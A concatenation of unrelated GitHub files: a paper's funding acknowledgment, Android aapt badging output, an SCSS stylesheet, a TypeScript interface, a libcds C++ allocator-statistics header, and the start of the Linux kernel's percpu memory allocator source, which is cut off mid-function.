<S sid ="192" ssid = "38">This material is based upon work supported by the Defense Advanced Research Projects Agency under Contract No.</S>
<S sid ="193" ssid = "39">HR001106-C-0023, and the National Science Foundation under Grant IIS 00325657.</S>
<S sid ="194" ssid = "40">Any opinions, findings and conclusions expressed in this material are those of the authors and do not necessarily reflect the views of the U. S. Government.</S>
</SECTION>
</PAPER>
|
{
"pile_set_name": "Github"
}
|
package: name='com.politedroid' versionCode='3' versionName='1.2' platformBuildVersionName=''
sdkVersion:'3'
uses-permission: name='android.permission.READ_CALENDAR'
uses-permission: name='android.permission.RECEIVE_BOOT_COMPLETED'
application-icon-120:'res/drawable-ldpi/icon.png'
application-icon-160:'res/drawable-mdpi/icon.png'
application-icon-240:'res/drawable-hdpi/icon.png'
application-icon-320:'res/drawable-xhdpi/icon.png'
application: label='' icon='res/drawable-mdpi/icon.png'
launchable-activity: name='com.politedroid.Preferences' label='Polite Droid' icon=''
uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE'
uses-implied-permission: name='android.permission.WRITE_EXTERNAL_STORAGE' reason='targetSdkVersion < 4'
uses-permission: name='android.permission.READ_PHONE_STATE'
uses-implied-permission: name='android.permission.READ_PHONE_STATE' reason='targetSdkVersion < 4'
uses-permission: name='android.permission.READ_EXTERNAL_STORAGE'
uses-implied-permission: name='android.permission.READ_EXTERNAL_STORAGE' reason='requested WRITE_EXTERNAL_STORAGE'
feature-group: label=''
uses-feature: name='android.hardware.faketouch'
uses-implied-feature: name='android.hardware.faketouch' reason='default feature for all apps'
main
other-receivers
supports-screens: 'normal'
supports-any-density: 'false'
locales:
densities: '120' '160' '240' '320'
|
{
"pile_set_name": "Github"
}
|
.ugb-design-library-block {
.components-placeholder__label {
svg {
margin-right: 8px;
}
}
button.components-button {
height: auto;
font-weight: 600;
text-transform: uppercase;
font-size: 13px;
padding: 11px 20px;
background: #fff;
}
}
.ugb-insert-library-button {
svg {
width: 20px;
height: 20px;
}
}
.ugb-insert-library-button {
margin-left: 10px;
margin-right: 10px;
}
|
{
"pile_set_name": "Github"
}
|
export interface ContactFormStandard {
name?: string
message?: string
email?: string
[key: string]: any
}
|
{
"pile_set_name": "Github"
}
|
/*
This file is a part of libcds - Concurrent Data Structures library
(C) Copyright Maxim Khizhinsky ([email protected]) 2006-2016
Source code repo: http://github.com/khizmax/libcds/
Download: http://sourceforge.net/projects/libcds/files/
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef CDSLIB_MEMORY_MICHAEL_ALLOCATOR_OSALLOC_STAT_H
#define CDSLIB_MEMORY_MICHAEL_ALLOCATOR_OSALLOC_STAT_H
#include <cds/algo/atomic.h>
namespace cds { namespace memory { namespace michael {
/// Statistics for large (allocated directly from %OS) block
struct os_allocated_atomic
{
///@cond
atomics::atomic<size_t> nAllocCount ; ///< Event count of large block allocation from %OS
atomics::atomic<size_t> nFreeCount ; ///< Event count of large block deallocation to %OS
atomics::atomic<unsigned long long> nBytesAllocated ; ///< Total size of allocated large blocks, in bytes
atomics::atomic<unsigned long long> nBytesDeallocated ; ///< Total size of deallocated large blocks, in bytes
os_allocated_atomic()
: nAllocCount(0)
, nFreeCount(0)
, nBytesAllocated(0)
, nBytesDeallocated(0)
{}
///@endcond
/// Adds \p nSize to nBytesAllocated counter
void incBytesAllocated( size_t nSize )
{
nAllocCount.fetch_add( 1, atomics::memory_order_relaxed);
nBytesAllocated.fetch_add( nSize, atomics::memory_order_relaxed );
}
/// Adds \p nSize to nBytesDeallocated counter
void incBytesDeallocated( size_t nSize )
{
nFreeCount.fetch_add( 1, atomics::memory_order_relaxed );
nBytesDeallocated.fetch_add( nSize, atomics::memory_order_relaxed );
}
/// Returns count of \p alloc and \p alloc_aligned function call (for large block allocated directly from %OS)
size_t allocCount() const
{
return nAllocCount.load(atomics::memory_order_relaxed);
}
/// Returns count of \p free and \p free_aligned function call (for large block allocated directly from %OS)
size_t freeCount() const
{
return nFreeCount.load(atomics::memory_order_relaxed);
}
/// Returns current value of nBytesAllocated counter
uint64_t allocatedBytes() const
{
return nBytesAllocated.load(atomics::memory_order_relaxed);
}
/// Returns current value of nBytesAllocated counter
uint64_t deallocatedBytes() const
{
return nBytesDeallocated.load(atomics::memory_order_relaxed);
}
};
/// Dummy statistics for large (allocated directly from %OS) block
/**
This class does not gather any statistics.
Class interface is the same as \ref os_allocated_atomic.
*/
struct os_allocated_empty
{
//@cond
/// Adds \p nSize to nBytesAllocated counter
void incBytesAllocated( size_t nSize )
{ CDS_UNUSED(nSize); }
/// Adds \p nSize to nBytesDeallocated counter
void incBytesDeallocated( size_t nSize )
{ CDS_UNUSED(nSize); }
/// Returns count of \p alloc and \p alloc_aligned function call (for large block allocated directly from OS)
size_t allocCount() const
{
return 0;
}
/// Returns count of \p free and \p free_aligned function call (for large block allocated directly from OS)
size_t freeCount() const
{
return 0;
}
/// Returns current value of nBytesAllocated counter
uint64_t allocatedBytes() const
{
return 0;
}
/// Returns current value of nBytesAllocated counter
uint64_t deallocatedBytes() const
{
return 0;
}
//@endcond
};
}}} // namespace cds::memory::michael
#endif /// CDSLIB_MEMORY_MICHAEL_ALLOCATOR_OSALLOC_STAT_H
|
{
"pile_set_name": "Github"
}
|
// SPDX-License-Identifier: GPL-2.0-only
/*
* mm/percpu.c - percpu memory allocator
*
* Copyright (C) 2009 SUSE Linux Products GmbH
* Copyright (C) 2009 Tejun Heo <[email protected]>
*
* Copyright (C) 2017 Facebook Inc.
* Copyright (C) 2017 Dennis Zhou <[email protected]>
*
* The percpu allocator handles both static and dynamic areas. Percpu
* areas are allocated in chunks which are divided into units. There is
* a 1-to-1 mapping for units to possible cpus. These units are grouped
* based on NUMA properties of the machine.
*
* c0 c1 c2
* ------------------- ------------------- ------------
* | u0 | u1 | u2 | u3 | | u0 | u1 | u2 | u3 | | u0 | u1 | u
* ------------------- ...... ------------------- .... ------------
*
* Allocation is done by offsets into a unit's address space. Ie., an
* area of 512 bytes at 6k in c1 occupies 512 bytes at 6k in c1:u0,
* c1:u1, c1:u2, etc. On NUMA machines, the mapping may be non-linear
* and even sparse. Access is handled by configuring percpu base
* registers according to the cpu to unit mappings and offsetting the
* base address using pcpu_unit_size.
*
* There is special consideration for the first chunk which must handle
* the static percpu variables in the kernel image as allocation services
* are not online yet. In short, the first chunk is structured like so:
*
* <Static | [Reserved] | Dynamic>
*
* The static data is copied from the original section managed by the
* linker. The reserved section, if non-zero, primarily manages static
* percpu variables from kernel modules. Finally, the dynamic section
* takes care of normal allocations.
*
* The allocator organizes chunks into lists according to free size and
* memcg-awareness. To make a percpu allocation memcg-aware the __GFP_ACCOUNT
* flag should be passed. All memcg-aware allocations are sharing one set
* of chunks and all unaccounted allocations and allocations performed
* by processes belonging to the root memory cgroup are using the second set.
*
* The allocator tries to allocate from the fullest chunk first. Each chunk
* is managed by a bitmap with metadata blocks. The allocation map is updated
* on every allocation and free to reflect the current state while the boundary
* map is only updated on allocation. Each metadata block contains
* information to help mitigate the need to iterate over large portions
* of the bitmap. The reverse mapping from page to chunk is stored in
* the page's index. Lastly, units are lazily backed and grow in unison.
*
* There is a unique conversion that goes on here between bytes and bits.
* Each bit represents a fragment of size PCPU_MIN_ALLOC_SIZE. The chunk
* tracks the number of pages it is responsible for in nr_pages. Helper
* functions are used to convert from between the bytes, bits, and blocks.
* All hints are managed in bits unless explicitly stated.
*
* To use this allocator, arch code should do the following:
*
* - define __addr_to_pcpu_ptr() and __pcpu_ptr_to_addr() to translate
* regular address to percpu pointer and back if they need to be
* different from the default
*
* - use pcpu_setup_first_chunk() during percpu area initialization to
* setup the first chunk containing the kernel static percpu area
*/
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/bitmap.h>
#include <linux/memblock.h>
#include <linux/err.h>
#include <linux/lcm.h>
#include <linux/list.h>
#include <linux/log2.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/percpu.h>
#include <linux/pfn.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/kmemleak.h>
#include <linux/sched.h>
#include <linux/sched/mm.h>
#include <linux/memcontrol.h>
#include <asm/cacheflush.h>
#include <asm/sections.h>
#include <asm/tlbflush.h>
#include <asm/io.h>
#define CREATE_TRACE_POINTS
#include <trace/events/percpu.h>
#include "percpu-internal.h"
/* the slots are sorted by free bytes left, 1-31 bytes share the same slot */
#define PCPU_SLOT_BASE_SHIFT 5
/* chunks in slots below this are subject to being sidelined on failed alloc */
#define PCPU_SLOT_FAIL_THRESHOLD 3
#define PCPU_EMPTY_POP_PAGES_LOW 2
#define PCPU_EMPTY_POP_PAGES_HIGH 4
#ifdef CONFIG_SMP
/* default addr <-> pcpu_ptr mapping, override in asm/percpu.h if necessary */
#ifndef __addr_to_pcpu_ptr
#define __addr_to_pcpu_ptr(addr) \
(void __percpu *)((unsigned long)(addr) - \
(unsigned long)pcpu_base_addr + \
(unsigned long)__per_cpu_start)
#endif
#ifndef __pcpu_ptr_to_addr
#define __pcpu_ptr_to_addr(ptr) \
(void __force *)((unsigned long)(ptr) + \
(unsigned long)pcpu_base_addr - \
(unsigned long)__per_cpu_start)
#endif
#else /* CONFIG_SMP */
/* on UP, it's always identity mapped */
#define __addr_to_pcpu_ptr(addr) (void __percpu *)(addr)
#define __pcpu_ptr_to_addr(ptr) (void __force *)(ptr)
#endif /* CONFIG_SMP */
static int pcpu_unit_pages __ro_after_init;
static int pcpu_unit_size __ro_after_init;
static int pcpu_nr_units __ro_after_init;
static int pcpu_atom_size __ro_after_init;
int pcpu_nr_slots __ro_after_init;
static size_t pcpu_chunk_struct_size __ro_after_init;
/* cpus with the lowest and highest unit addresses */
static unsigned int pcpu_low_unit_cpu __ro_after_init;
static unsigned int pcpu_high_unit_cpu __ro_after_init;
/* the address of the first chunk which starts with the kernel static area */
void *pcpu_base_addr __ro_after_init;
EXPORT_SYMBOL_GPL(pcpu_base_addr);
static const int *pcpu_unit_map __ro_after_init; /* cpu -> unit */
const unsigned long *pcpu_unit_offsets __ro_after_init; /* cpu -> unit offset */
/* group information, used for vm allocation */
static int pcpu_nr_groups __ro_after_init;
static const unsigned long *pcpu_group_offsets __ro_after_init;
static const size_t *pcpu_group_sizes __ro_after_init;
/*
* The first chunk which always exists. Note that unlike other
* chunks, this one can be allocated and mapped in several different
* ways and thus often doesn't live in the vmalloc area.
*/
struct pcpu_chunk *pcpu_first_chunk __ro_after_init;
/*
* Optional reserved chunk. This chunk reserves part of the first
* chunk and serves it for reserved allocations. When the reserved
* region doesn't exist, the following variable is NULL.
*/
struct pcpu_chunk *pcpu_reserved_chunk __ro_after_init;
DEFINE_SPINLOCK(pcpu_lock); /* all internal data structures */
static DEFINE_MUTEX(pcpu_alloc_mutex); /* chunk create/destroy, [de]pop, map ext */
struct list_head *pcpu_chunk_lists __ro_after_init; /* chunk list slots */
/* chunks which need their map areas extended, protected by pcpu_lock */
static LIST_HEAD(pcpu_map_extend_chunks);
/*
* The number of empty populated pages, protected by pcpu_lock. The
* reserved chunk doesn't contribute to the count.
*/
int pcpu_nr_empty_pop_pages;
/*
* The number of populated pages in use by the allocator, protected by
* pcpu_lock. This number is kept per a unit per chunk (i.e. when a page gets
* allocated/deallocated, it is allocated/deallocated in all units of a chunk
* and increments/decrements this count by 1).
*/
static unsigned long pcpu_nr_populated;
/*
* Balance work is used to populate or destroy chunks asynchronously. We
* try to keep the number of populated free pages between
* PCPU_EMPTY_POP_PAGES_LOW and HIGH for atomic allocations and at most one
* empty chunk.
*/
static void pcpu_balance_workfn(struct work_struct *work);
static DECLARE_WORK(pcpu_balance_work, pcpu_balance_workfn);
static bool pcpu_async_enabled __read_mostly;
static bool pcpu_atomic_alloc_failed;
static void pcpu_schedule_balance_work(void)
{
if (pcpu_async_enabled)
schedule_work(&pcpu_balance_work);
}
/**
* pcpu_addr_in_chunk - check if the address is served from this chunk
* @chunk: chunk of interest
* @addr: percpu address
*
* RETURNS:
* True if the address is served from this chunk.
*/
static bool pcpu_addr_in_chunk(struct pcpu_chunk *chunk, void *addr)
{
void *start_addr, *end_addr;
if (!chunk)
return false;
start_addr = chunk->base_addr + chunk->start_offset;
end_addr = chunk->base_addr + chunk->nr_pages * PAGE_SIZE -
chunk->end_offset;
return addr >= start_addr && addr < end_addr;
}
static int __pcpu_size_to_slot(int size)
{
int highbit = fls(size); /* size is in bytes */
return max(highbit - PCPU_SLOT_BASE_SHIFT + 2, 1);
}
static int pcpu_size_to_slot(int size)
{
if (size == pcpu_unit_size)
return pcpu_nr_slots - 1;
return __pcpu_size_to_slot(size);
}
static int pcpu_chunk_slot(const struct pcpu_chunk *chunk)
{
const struct pcpu_block_md *chunk_md = &chunk->chunk_md;
if (chunk->free_bytes < PCPU_MIN_ALLOC_SIZE ||
chunk_md->contig_hint == 0)
return 0;
return pcpu_size_to_slot(chunk_md->contig_hint * PCPU_MIN_ALLOC_SIZE);
}
/* set the pointer to a chunk in a page struct */
static void pcpu_set_page_chunk(struct page *page, struct pcpu_chunk *pcpu)
{
page->index = (unsigned long)pcpu;
}
/* obtain pointer to a chunk from a page struct */
static struct pcpu_chunk *pcpu_get_page_chunk(struct page *page)
{
return (struct pcpu_chunk *)page->index;
}
static int __maybe_unused pcpu_page_idx(unsigned int cpu, int page_idx)
{
return pcpu_unit_map[cpu] * pcpu_unit_pages + page_idx;
}
static unsigned long pcpu_unit_page_offset(unsigned int cpu, int page_idx)
{
return pcpu_unit_offsets[cpu] + (page_idx << PAGE_SHIFT);
}
static unsigned long pcpu_chunk_addr(struct pcpu_chunk *chunk,
unsigned int cpu, int page_idx)
{
return (unsigned long)chunk->base_addr +
pcpu_unit_page_offset(cpu, page_idx);
}
/*
* The following are helper functions to help access bitmaps and convert
* between bitmap offsets to address offsets.
*/
static unsigned long *pcpu_index_alloc_map(struct pcpu_chunk *chunk, int index)
{
return chunk->alloc_map +
(index * PCPU_BITMAP_BLOCK_BITS / BITS_PER_LONG);
}
static unsigned long pcpu_off_to_block_index(int off)
{
return off / PCPU_BITMAP_BLOCK_BITS;
}
static unsigned long pcpu_off_to_block_off(int off)
{
return off & (PCPU_BITMAP_BLOCK_BITS - 1);
}
static unsigned long pcpu_block_off_to_off(int index, int off)
{
return index * PCPU_BITMAP_BLOCK_BITS + off;
}
/*
* pcpu_next_hint - determine which hint to use
* @block: block of interest
* @alloc_bits: size of allocation
*
* This determines if we should scan based on the scan_hint or first_free.
* In general, we want to scan from first_free to fulfill allocations by
* first fit. However, if we know a scan_hint at position scan_hint_start
* cannot fulfill an allocation, we can begin scanning from there knowing
* the contig_hint will be our fallback.
*/
static int pcpu_next_hint(struct pcpu_block_md *block, int alloc_bits)
{
/*
* The three conditions below determine if we can skip past the
* scan_hint. First, does the scan hint exist. Second, is the
* contig_hint after the scan_hint (possibly not true iff
* contig_hint == scan_hint). Third, is the allocation request
* larger than the scan_hint.
*/
if (block->scan_hint &&
block->contig_hint_start > block->scan_hint_start &&
alloc_bits > block->scan_hint)
return block->scan_hint_start + block->scan_hint;
return block->first_free;
}
/**
* pcpu_next_md_free_region - finds the next hint free area
* @chunk: chunk of interest
* @bit_off: chunk offset
* @bits: size of free area
*
* Helper function for pcpu_for_each_md_free_region. It checks
* block->contig_hint and performs aggregation across blocks to find the
* next hint. It modifies bit_off and bits in-place to be consumed in the
* loop.
*/
static void pcpu_next_md_free_region(struct pcpu_chunk *chunk, int *bit_off,
int *bits)
{
int i = pcpu_off_to_block_index(*bit_off);
int block_off = pcpu_off_to_block_off(*bit_off);
struct pcpu_block_md *block;
*bits = 0;
for (block = chunk->md_blocks + i; i < pcpu_chunk_nr_blocks(chunk);
block++, i++) {
/* handles contig area across blocks */
if (*bits) {
*bits += block->left_free;
if (block->left_free == PCPU_BITMAP_BLOCK_BITS)
continue;
return;
}
/*
* This checks three things. First is there a contig_hint to
* check. Second, have we checked this hint before by
* comparing the block_off. Third, is this the same as the
* right contig hint. In the last case, it spills over into
* the next block and should be handled by the contig area
* across blocks code.
*/
*bits = block->contig_hint;
if (*bits && block->contig_hint_start >= block_off &&
*bits + block->contig_hint_start < PCPU_BITMAP_BLOCK_BITS) {
*bit_off = pcpu_block_off_to_off(i,
block->contig_hint_start);
return;
}
/* reset to satisfy the second predicate above */
block_off = 0;
*bits = block->right_free;
*bit_off = (i + 1) * PCPU_BITMAP_BLOCK_BITS - block->right_free;
}
}
/**
* pcpu_next_fit_region - finds fit areas for a given allocation request
* @chunk: chunk of interest
* @alloc_bits: size of allocation
* @align: alignment of area (max PAGE_SIZE)
* @bit_off: chunk offset
* @bits: size of free area
*
* Finds the next free region that is viable for use with a given size and
* alignment. This only returns if there is a valid area to be used for this
* allocation. block->first_free is returned if the allocation request fits
* within the block to see if the request can be fulfilled prior to the contig
* hint.
*/
static void pcpu_next_fit_region(struct pcpu_chunk *chunk, int alloc_bits,
int align, int *bit_off, int *bits)
{
int i = pcpu_off_to_block_index(*bit_off);
int block_off = pcpu_off_to_block_off(*bit_off);
struct pcpu_block_md *block;
*bits = 0;
for (block = chunk->md_blocks + i; i < pcpu_chunk_nr_blocks(chunk);
block++, i++) {
/* handles contig area across blocks */
if (*bits) {
*bits += block->left_free;
if (*bits >= alloc_bits)
return;
if (block->left_free == PCPU_BITMAP_BLOCK_BITS)
continue;
}
/* check block->contig_hint */
*bits = ALIGN(block->contig_hint_start, align) -
block->contig_hint_start;
/*
* This uses the block offset to determine if this has been
* checked in the prior iteration.
*/
if (block->contig_hint &&
block->contig_hint_start >= block_off &&
block->contig_hint >= *bits + alloc_bits) {
int start = pcpu_next_hint(block, alloc_bits);
*bits += alloc_bits + block->contig_hint_start -
start;
*bit_off = pcpu_block_off_to_off(i, start);
return;
}
/* reset to satisfy the second predicate above */
block_off = 0;
*bit_off = ALIGN(PCPU_BITMAP_BLOCK_BITS - block->right_free,
align);
*bits = PCPU_BITMAP_BLOCK_BITS - *bit_off;
*bit_off = pcpu_block_off_to_off(i, *bit_off);
if (*bits >= alloc_bits)
return;
}
/* no valid offsets were found - fail condition */
*bit_off = pcpu_chunk_map_bits(chunk);
}
/*
* Metadata free area iterators. These perform aggregation of free areas
* based on the metadata blocks and return the offset @bit_off and size in
* bits of the free area @bits. pcpu_for_each_fit_region only returns when
* a fit is found for the allocation request.
*/
#define pcpu_for_each_md_free_region(chunk, bit_off, bits) \
for (pcpu_next_md_free_region((chunk), &(bit_off), &(bits)); \
(bit_off) < pcpu_chunk_map_bits((chunk)); \
(bit_off) += (bits) + 1, \
pcpu_next_md_free_region((chunk), &(bit_off), &(bits)))
#define pcpu_for_each_fit_region(chunk, alloc_bits, align, bit_off, bits) \
for (pcpu_next_fit_region((chunk), (alloc_bits), (align), &(bit_off), \
&(bits)); \
(bit_off) < pcpu_chunk_map_bits((chunk)); \
(bit_off) += (bits), \
pcpu_next_fit_region((chunk), (alloc_bits), (align), &(bit_off), \
&(bits)))
/**
* pcpu_mem_zalloc - allocate memory
* @size: bytes to allocate
* @gfp: allocation flags
*
* Allocate @size bytes. If @size is smaller than PAGE_SIZE,
* kzalloc() is used; otherwise, the equivalent of vzalloc() is used.
* This is to facilitate passing through whitelisted flags. The
* returned memory is always zeroed.
*
* RETURNS:
* Pointer to the allocated area on success, NULL on failure.
*/
static void *pcpu_mem_zalloc(size_t size, gfp_t gfp)
{
if (WARN_ON_ONCE(!slab_is_available()))
return NULL;
if (size <= PAGE_SIZE)
return kzalloc(size, gfp);
else
return __vmalloc(size, gfp | __GFP_ZERO);
}
/**
* pcpu_mem_free - free memory
* @ptr: memory to free
*
* Free @ptr. @ptr should have been allocated using pcpu_mem_zalloc().
*/
static void pcpu_mem_free(void *ptr)
{
kvfree(ptr);
}
static void __pcpu_chunk_move(struct pcpu_chunk *chunk, int slot,
bool move_front)
{
if (chunk != pcpu_reserved_chunk) {
struct list_head *pcpu_slot;
pcpu_slot = pcpu_chunk_list(pcpu_chunk_type(chunk));
if (move_front)
list_move(&chunk->list, &pcpu_slot[slot]);
else
list_move_tail(&chunk->list, &pcpu_slot[slot]);
}
}
static void pcpu_chunk_move(struct pcpu_chunk *chunk, int slot)
{
__pcpu_chunk_move(chunk, slot, true);
}
/**
* pcpu_chunk_relocate - put chunk in the appropriate chunk slot
* @chunk: chunk of interest
* @oslot: the previous slot it was on
*
* This function is called after an allocation or free changed @chunk.
* New slot according to the changed state is determined and @chunk is
* moved to the slot. Note that the reserved chunk is never put on
* chunk slots.
*
* CONTEXT:
* pcpu_lock.
*/
static void pcpu_chunk_relocate(struct pcpu_chunk *chunk, int oslot)
{
int nslot = pcpu_chunk_slot(chunk);
if (oslot != nslot)
__pcpu_chunk_move(chunk, nslot, oslot < nslot);
}
/*
* pcpu_update_empty_pages - update empty page counters
* @chunk: chunk of interest
* @nr: nr of empty pages
*
* This is used to keep track of the empty pages now based on the premise
* a md_block covers a page. The hint update functions recognize if a block
* is made full or broken to calculate deltas for keeping track of free pages.
*/
static inline void pcpu_update_empty_pages(struct pcpu_chunk *chunk, int nr)
{
chunk->nr_empty_pop_pages += nr;
if (chunk != pcpu_reserved_chunk)
pcpu_nr_empty_pop_pages += nr;
}
/*
* pcpu_region_overlap - determines if two regions overlap
* @a: start of first region, inclusive
* @b: end of first region, exclusive
* @x: start of second region, inclusive
* @y: end of second region, exclusive
*
* This is used to determine if the hint region [a, b) overlaps with the
* allocated region [x, y).
*/
static inline bool pcpu_region_overlap(int a, int b, int x, int y)
{
return (a < y) && (x < b);
}
/**
* pcpu_block_update - updates a block given a free area
* @block: block of interest
* @start: start offset in block
* @end: end offset in block
*
* Updates a block given a known free area. The region [start, end) is
* expected to be the entirety of the free area within a block. Chooses
* the best starting offset if the contig hints are equal.
*/
static void pcpu_block_update(struct pcpu_block_md *block, int start, int end)
{
int contig = end - start;
block->first_free = min(block->first_free, start);
if (start == 0)
block->left_free = contig;
if (end == block->nr_bits)
block->right_free = contig;
if (contig > block->contig_hint) {
/* promote the old contig_hint to be the new scan_hint */
if (start > block->contig_hint_start) {
if (block->contig_hint > block->scan_hint) {
block->scan_hint_start =
block->contig_hint_start;
block->scan_hint = block->contig_hint;
} else if (start < block->scan_hint_start) {
/*
* The old contig_hint == scan_hint. But, the
* new contig is larger so hold the invariant
* scan_hint_start < contig_hint_start.
*/
block->scan_hint = 0;
}
} else {
block->scan_hint = 0;
}
block->contig_hint_start = start;
block->contig_hint = contig;
} else if (contig == block->contig_hint) {
if (block->contig_hint_start &&
(!start ||
__ffs(start) > __ffs(block->contig_hint_start))) {
/* start has a better alignment so use it */
block->contig_hint_start = start;
if (start < block->scan_hint_start &&
block->contig_hint > block->scan_hint)
block->scan_hint = 0;
} else if (start > block->scan_hint_start ||
block->contig_hint > block->scan_hint) {
/*
* Knowing contig == contig_hint, update the scan_hint
* if it is farther than or larger than the current
* scan_hint.
*/
block->scan_hint_start = start;
block->scan_hint = contig;
}
} else {
/*
* The region is smaller than the contig_hint. So only update
* the scan_hint if it is larger than or equal and farther than
* the current scan_hint.
*/
if ((start < block->contig_hint_start &&
(contig > block->scan_hint ||
(contig == block->scan_hint &&
start > block->scan_hint_start)))) {
block->scan_hint_start = start;
block->scan_hint = contig;
}
}
}
/*
* pcpu_block_update_scan - update a block given a free area from a scan
* @chunk: chunk of interest
* @bit_off: chunk offset
* @bits: size of free area
*
* Finding the final allocation spot first goes through pcpu_find_block_fit()
* to find a block that can hold the allocation and then pcpu_alloc_area()
* where a scan is used. When allocations require specific alignments,
* we can inadvertently create holes which will not be seen in the alloc
* or free paths.
*
* This takes a given free area hole and updates a block as it may change the
* scan_hint. We need to scan backwards to ensure we don't miss free bits
* from alignment.
*/
static void pcpu_block_update_scan(struct pcpu_chunk *chunk, int bit_off,
int bits)
{
int s_off = pcpu_off_to_block_off(bit_off);
int e_off = s_off + bits;
int s_index, l_bit;
struct pcpu_block_md *block;
if (e_off > PCPU_BITMAP_BLOCK_BITS)
return;
s_index = pcpu_off_to_block_index(bit_off);
block = chunk->md_blocks + s_index;
/* scan backwards in case of alignment skipping free bits */
l_bit = find_last_bit(pcpu_index_alloc_map(chunk, s_index), s_off);
s_off = (s_off == l_bit) ? 0 : l_bit + 1;
pcpu_block_update(block, s_off, e_off);
}
/**
* pcpu_chunk_refresh_hint - updates metadata about a chunk
* @chunk: chunk of interest
* @full_scan: if we should scan from the beginning
*
* Iterates over the metadata blocks to find the largest contig area.
* A full scan can be avoided on the allocation path as this is triggered
* if we broke the contig_hint. In doing so, the scan_hint will be before
* the contig_hint or after if the scan_hint == contig_hint. This cannot
* be prevented on freeing as we want to find the largest area possibly
* spanning blocks.
*/
static void pcpu_chunk_refresh_hint(struct pcpu_chunk *chunk, bool full_scan)
{
struct pcpu_block_md *chunk_md = &chunk->chunk_md;
int bit_off, bits;
/* promote scan_hint to contig_hint */
if (!full_scan && chunk_md->scan_hint) {
bit_off = chunk_md->scan_hint_start + chunk_md->scan_hint;
chunk_md->contig_hint_start = chunk_md->scan_hint_start;
chunk_md->contig_hint = chunk_md->scan_hint;
chunk_md->scan_hint = 0;
} else {
bit_off = chunk_md->first_free;
chunk_md->contig_hint = 0;
}
bits = 0;
pcpu_for_each_md_free_region(chunk, bit_off, bits)
pcpu_block_update(chunk_md, bit_off, bit_off + bits);
}
/**
* pcpu_block_refresh_hint
* @chunk: chunk of interest
* @index: index of the metadata block
*
* Scans over the block beginning at first_free and updates the block
* metadata accordingly.
*/
static void pcpu_block_refresh_hint(struct pcpu_chunk *chunk, int index)
{
struct pcpu_block_md *block = chunk->md_blocks + index;
unsigned long *alloc_map = pcpu_index_alloc_map(chunk, index);
unsigned int rs, re, start; /* region start, region end */
/* promote scan_hint to contig_hint */
if (block->scan_hint) {
start = block->scan_hint_start + block->scan_hint;
block->contig_hint_start = block->scan_hint_start;
block->contig_hint = block->scan_hint;
block->scan_hint = 0;
} else {
start = block->first_free;
block->contig_hint = 0;
}
block->right_free = 0;
/* iterate over free areas and update the contig hints */
bitmap_for_each_clear_region(alloc_map, rs, re, start,
PCPU_BITMAP_BLOCK_BITS)
pcpu_block_update(block, rs, re);
}
/**
* pcpu_block_update_hint_alloc - update hint on allocation path
* @chunk: chunk of interest
* @bit_off: chunk offset
* @bits: size of request
*
* Updates metadata for the allocation path. The metadata only has to be
* refreshed by a full scan iff the chunk's contig hint is broken. Block level
* scans are required if the block's contig hint is broken.
*/
static void pcpu_block_update_hint_alloc(struct pcpu_chunk *chunk, int bit_off,
int bits)
{
struct pcpu_block_md *chunk_md = &chunk->chunk_md;
int nr_empty_pages = 0;
struct pcpu_block_md *s_block, *e_block, *block;
int s_index, e_index; /* block indexes of the freed allocation */
int s_off, e_off; /* block offsets of the freed allocation */
/*
* Calculate per block offsets.
* The calculation uses an inclusive range, but the resulting offsets
* are [start, end). e_index always points to the last block in the
* range.
*/
s_index = pcpu_off_to_block_index(bit_off);
e_index = pcpu_off_to_block_index(bit_off + bits - 1);
s_off = pcpu_off_to_block_off(bit_off);
e_off = pcpu_off_to_block_off(bit_off + bits - 1) + 1;
s_block = chunk->md_blocks + s_index;
e_block = chunk->md_blocks + e_index;
/*
* Update s_block.
* block->first_free must be updated if the allocation takes its place.
* If the allocation breaks the contig_hint, a scan is required to
* restore this hint.
*/
if (s_block->contig_hint == PCPU_BITMAP_BLOCK_BITS)
nr_empty_pages++;
if (s_off == s_block->first_free)
s_block->first_free = find_next_zero_bit(
pcpu_index_alloc_map(chunk, s_index),
PCPU_BITMAP_BLOCK_BITS,
s_off + bits);
if (pcpu_region_overlap(s_block->scan_hint_start,
s_block->scan_hint_start + s_block->scan_hint,
s_off,
s_off + bits))
s_block->scan_hint = 0;
if (pcpu_region_overlap(s_block->contig_hint_start,
s_block->contig_hint_start +
s_block->contig_hint,
s_off,
s_off + bits)) {
/* block contig hint is broken - scan to fix it */
if (!s_off)
s_block->left_free = 0;
pcpu_block_refresh_hint(chunk, s_index);
} else {
/* update left and right contig manually */
s_block->left_free = min(s_block->left_free, s_off);
if (s_index == e_index)
s_block->right_free = min_t(int, s_block->right_free,
PCPU_BITMAP_BLOCK_BITS - e_off);
else
s_block->right_free = 0;
}
/*
* Update e_block.
*/
if (s_index != e_index) {
if (e_block->contig_hint == PCPU_BITMAP_BLOCK_BITS)
nr_empty_pages++;
/*
* When the allocation is across blocks, the end is along
* the left part of the e_block.
*/
e_block->first_free = find_next_zero_bit(
pcpu_index_alloc_map(chunk, e_index),
